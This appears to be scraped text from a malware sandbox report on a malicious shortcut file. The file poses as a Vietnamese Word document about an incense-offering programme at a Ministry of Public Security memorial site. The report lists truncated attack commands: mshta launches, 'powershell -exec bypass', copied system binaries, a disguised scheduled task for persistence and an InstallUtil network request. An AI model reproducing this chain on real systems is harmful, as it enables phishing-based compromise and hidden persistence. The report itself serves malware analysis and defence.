

New analysis

Reports

TI

chương trình dâng hương.doc[Compatibility Mode] - Microsoft Word

FileHomeInsertPage LayoutReferencesMailingsReviewViewDeveloper

CutCopyFormat PainterClipboard

Times New Rom14A⁺AaFont

Paragraph

Styles

EmphasisHeading 1NormalStrongSubtitleTitle

Change StylesFindReplaceSelectEditing

CHƯƠNG TRÌNH DÂNG HƯƠNG, BẢO CÔNG, THAM QUAN
của Đoàn Thanh niên Viện Lịch sử Công an và Đoàn Thanh niên Viện Lịch sử
Quân sự Việt Nam tại khu di tích Nhà Công an Trung ương

Thời gian dự kiến: Ngày 15/8/2017

* Nội dung chương trình:

1. Dâng hương các Anh hùng liệt sĩ CAND

2. Dâng hương Chủ tịch Hồ Chí Minh tại Khu di tích

3. Dâng hoa, báo công tại tượng đài Bảo vệ an ninh tổ quốc

4. Tham quan Di tích Công Thành

5. Ăn trưa, giao lưu tại Nhà ăn của BQL KDT

I. DÂNG HƯƠNG CÁC ANH HÙNG LIỆT SĨ

1. Xếp hàng, ổn định tư chức: Điều hành - BQL tiến hành

2. Dâng hương

chương trình dâng hương.doc15,372 characters (an approximate value).

100%

4:22 AM

Start

100%

4:22 AM

HTTP Requests1Connections4DNS Requests2Threats6Filter by

TimeshiftHeadersRepPIDProcess nameCNURL

8497 msGET | 200: OK?2236InstallUtil.exehttp://www

NETWORKFILESDEBUG

Danger

[2236] InstallUtil.exe

Loads dropped or rewritten executable

Win7 32 bit
Complete

Indicators:

Get sample

IOC

MalConf

Restart

Text report

Graph

ATT&CK

Summary

Export

chuong trinh dang huong.doc.lnk

MD5: 165F8683681A4B136BE1F9D6EA7F00CE

Start: 13.06.2019, 05:21 Total time: 60 s

CPU

RAM

Processes

Filter by PID or name

Only important

3572 cmd.exe /c for %x in (C:\Users\admin\AppData\Local\Temp=%cd...
233 6 32

3176 cmd.exe /c dir "C:\Users\admin\AppData\Local\Temp\chuo...
83 6 24

1364 mshta.exe "C:\Users\admin\AppData\Local\Temp\chuong tr...
608 54 122

2036 cmd.exe /c dir "C:\Users\admin\AppData\Local\Temp\chuo...
83 6 24

2104 mshta.exe "C:\Users\admin\AppData\Local\Temp\chuong tr...
582 55 118

3256 WMI cmd.exe /c powershell.exe -exec bypass -file C:\Users\adm...
125 6 26

3504 powershell.exe -exec bypass -file C:\Users\admin\AppData\L...
2k 478 210

1584 WINWORD.EXE /n "C:\Users\admin\AppData\Local\Tem...
2k 1k 90

2864 cmd.exe /c copy /y C:\Windows\Microsoft.NET\Framew...
76 6 24

3960 cmd.exe /c copy /y C:\Windows\system32\wscript.exe ...
78 6 24

124 cmd.exe /c copy /y C:\Windows\system32\schtasks.exe ...
77 6 24

2452 cmd.exe /c C:\Users\admin\AppData\Local\Temp\wtas...
126 6 28

1464 wtask.exe /create /sc minute /mo 3 /tn "Se...
154 0 48

1332 cmd.exe /c C:\Users\admin\AppData\Local\Temp\wtas...
98 6 28

2696 wtask.exe /run /tn "Security Script kb005990...
106 0 46

3212 WMI cmd.exe /c powershell.exe -exec bypass -file C:\Users\adm...
125 6 26

2796 powershell.exe -exec bypass -file C:\Users\admin\AppData\L...
2k 482 210

2100 WINWORD.EXE /n "C:\Users\admin\AppData\Local\Tem...
808 251 76

2872 cmd.exe /c copy /y C:\Windows\Microsoft.NET\Framew...
79 6 24

PID, name or url PCAP Content
download.windowsupdate.c... 56
Windows\system32\wscript.exe ...
83 6 24
Windows\system32\schtasks.exe...
81 6 24
admin\AppData\Local\Temp\wtas...
97 6 28
/create /sc minute /mo 3 /tn "Se...
153 0 48

Try community version for free! Register now